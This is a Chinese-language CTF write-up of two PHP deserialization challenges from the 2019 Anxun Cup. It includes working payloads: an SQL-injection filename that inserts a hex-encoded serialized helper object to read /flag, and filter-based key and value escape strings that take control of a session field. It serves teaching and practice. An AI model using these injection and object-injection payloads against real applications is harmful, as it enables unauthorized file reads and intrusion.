关于反序列化的两道CTF

前言

偶然看到2019安洵杯Web部分的两道题,看了writpup感觉思路很有启发性,是我平时不会去注意的地方。现在这两道题在buuctf上有现成的环境可以做。

这真的不是文件上传

网站功能是上传图片,但是不会保存图片内容,只保存文件名称并有回显。在index.html最下方有提示,可以在github上下载源码进行审计。

在helper.php中存在读取文件内容函数,并且可以使用destruct函数自动触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}

如果可以构造如下的类并将序列化字符串传入,就可以读取到flag

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class helper {
protected $ifview = True;
protected $config = "";
public function __construct() {
$this->config = "flag";
}
}
$a = new helper();
$b = serialize($a);
var_dump($b);
?>

在show.php中存在反序列化函数,跟随变量attr_temp,看到此变量来源于数据库中attr列。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}

在helper.php中的upload函数中我们得知数据库一共有titlefilenameextpathattr五列,其中attr列内容来源于上传图像的长宽序列化数组,很难进行控制。

1
2
3
4
5
6
7
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);

查看helper.php中的数据库操作函数,对输入数据库的数据没有做任何过滤。

1
2
3
4
5
6
7
8
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);

回想前面的5列中,我们可控的且没有过滤的是filename列也就是文件名,可以构造文件名为序列化字符串,出发unserialize函数,读取任意文件。

1
title_value','filename_value','ext_value','path_value','O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:4:"flag";}#

难题是在序列化中,所有的privateprotected变量序列化之后都会出现不可见字符。将序列化的内容输出,使用Hex Fiend打开,可以看到在星号*两侧是存在不可见字符00的。直接复制输出的话是无法传入这两个字符的。在前面数据库插入操作的时候,将00*00转换为\0\0\0了,在反序列化之前又转换了回来。

由于上传时文件名不允许出现引号,配合数据库将0x开头的字符串默认为16进制的特点,最终payload为

1
1','1','1','1',0x4F3A363A2268656C706572223A323A7B733A393A22002A00696676696577223B623A313B733A393A22002A00636F6E666967223B733A353A222F666C6167223B7D)#.jpg

将实际插入数据库的语句改写为,完成注入,反序列化读取数据库中的恶意代码,完成文件读取。

1
INSERT INTO images('title','filename','ext','path','attr') VALUES ('1','1','1','1',0x4F3A363A2268656C706572223A323A7B733A393A22002A00696676696577223B623A313B733A393A22002A00636F6E666967223B733A353A222F666C6167223B7D)#)

Easy_serialize_php

题目一上来就给出了源代码,初看之下是一个反序列化。

1
2
3
4
5
6
7
8
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

追踪serialize_info变量,在代码上方找到来自SESSION,数组中含有这些变量

user

function

img

代码中存在变量覆盖漏洞,userfunction变量是可控的。但是img变量是sha1函数加密,无法控制读取任意文件。

追踪变量,发现SESSION变量在序列化之后,又经过了filter函数过滤了关键字。

1
2
3
4
5
6
7
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

$serialize_info = filter(serialize($_SESSION));

这一行为可能导致序列化之后的字符串结构被破坏,使得我们可以控制一些本来无法控制的变量。其中又可以细分为键值对键名逃逸和键值逃逸。

先来看键名逃逸,本质上是让键名被过滤函数吃掉,让键值的一部分充当键名,让剩下一部分的键值构成键值 键名 键值,后面一对儿键就是我们可控的地方。构造如下的数组并序列化,序列化结果如下。

1
2
3
4
5
6
7
<?php
$_SESSION = array(
"phpflag" => ';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==',
);
$a = serialize($_SESSION);
echo($a);
?>
1
a:1:{s:7:"phpflag";s:45:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

当经过filter之后会变成如下这样。第一个键名会变为";s:45:,键值变为1。后面的img变为可控键值对。

1
a:1:{s:7:"";s:45:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

然后是键值逃逸,本质上就是让键值被过滤函数吃掉,让下一对键名键值充当被吃掉的键值,让剩下的一部分构成新的键名 键值

1
2
3
4
5
6
7
8
9
<?php
$_SESSION = array(
"user" => 'flagflagflagflagflagflag',
"function" => 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}',
"img" => 'ZDBnM19mMWFnLnBocA=='
);
$a = serialize($_SESSION);
echo($a);
?>
1
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

当经过filter函数之后会变成如下这样。第一个键值会变成;s:8:"function";s:42:"a,后面的img键值对变为可控。

1
a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}